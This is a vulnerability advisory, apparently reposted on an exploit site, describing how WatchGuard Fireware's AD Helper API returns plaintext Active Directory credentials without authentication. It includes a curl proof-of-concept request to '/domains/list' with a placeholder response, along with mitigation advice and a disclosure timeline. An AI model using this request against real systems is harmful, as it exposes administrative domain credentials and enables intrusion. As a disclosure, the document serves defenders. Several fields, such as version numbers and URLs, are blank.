WatchGuard Fireware AD Helper Credential Disclosure

WatchGuard Fireware AD Helper component version suffers from a credential disclosure vulnerability.

MD5 | fd0cd62fdc029274c4f86ae061ef62e0

# Exploit: WatchGuard Fireware AD Helper Component - Credential Disclosure 
# Author: RedTeam Pentesting GmbH
# Date: 2020-03-11
# Vendor:
# Software link:
# CVE: N/A

Advisory: Credential Disclosure in WatchGuard Fireware AD Helper Component

RedTeam Pentesting discovered a credential-disclosure vulnerability in
the AD Helper component of the WatchGuard Fireware Threat Detection and
Response (TDR) service, which allows unauthenticated attackers to gain
Active Directory credentials for a Windows domain in plaintext.


Product: WatchGuard Fireware AD Helper Component
Affected Versions:, <
Fixed Versions:
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL:
Vendor Status: fixed version released
Advisory URL:
Advisory Status: published


"Threat Detection and Response (TDR) is a cloud-based subscription
service that integrates with your Firebox to minimize the consequences
of data breaches and penetrations through early detection and automated
remediation of security threats."

"Threat Detection and Response includes the AD Helper component. If your
network has an Active Directory server, you can install AD Helper to
manage automated installation and updates of Host Sensors on your

(from the vendor's homepage)

More Details

By accessing the AD Helper's web interface, it was discovered that a
call to an API endpoint is made, which responds with plaintext
credentials to all configured domain controllers. There is no
authentication needed to use the described interface and the
installation instructions at [1] contain no indication of any way to
configure access control.

Proof of Concept

An HTTP GET request to the path "/domains/list" of the AD Helper
API returns, among others, the plaintext credentials to
all configured Windows domain controllers:

$ curl --silent "" | jq .

"content": [
"id": 1,
"fullyQualifiedName": "",
"logonDomain": "",
"domainControllers": "",
"username": "[DOMAIN_USER]",
"password": "[DOMAIN_PASSWORD]",
"uuid": "[...]",
"servers": [
"totalPages": 1,
"totalElements": 1,
"number": 0,
"numberOfElements": 1

The same request and its response can be observed when initially accessing
the web interface. The discovered version of AD Helper responds with
the following server banner:


It is likely that other versions of the AD Helper Component are
vulnerable as well.


Ensure API of the AD Helper Component is not reachable over the network,
for example by putting it behind a Firewall.


Update to Version or later.

Security Risk

No authentication is needed to access AD Helper's web interface and the
installation instructions at [1] describe that configured domain user
accounts must possess at least the following privileges:

* Connect to the host
* Mount the share ADMIN$
* Create a file on the host
* Execute commands on the host
* Install software on the host

Access to the "ADMIN$" share implies a user with administrative
privileges. Therefore, this vulnerability poses a high risk.


2020-02-12 Vulnerability identified
2020-02-19 Customer approved disclosure to vendor
2020-02-24 Tried to contact the German branch of WatchGuard
2020-02-27 Contacted the Dutch branch of WatchGuard
2020-02-28 Contact to ADHelper QA Team Lead established
2020-03-02 Advisory draft sent for verification
2020-03-10 Vendor released fixed version and blog post
2020-03-11 CVE ID requested
2020-03-11 Advisory released



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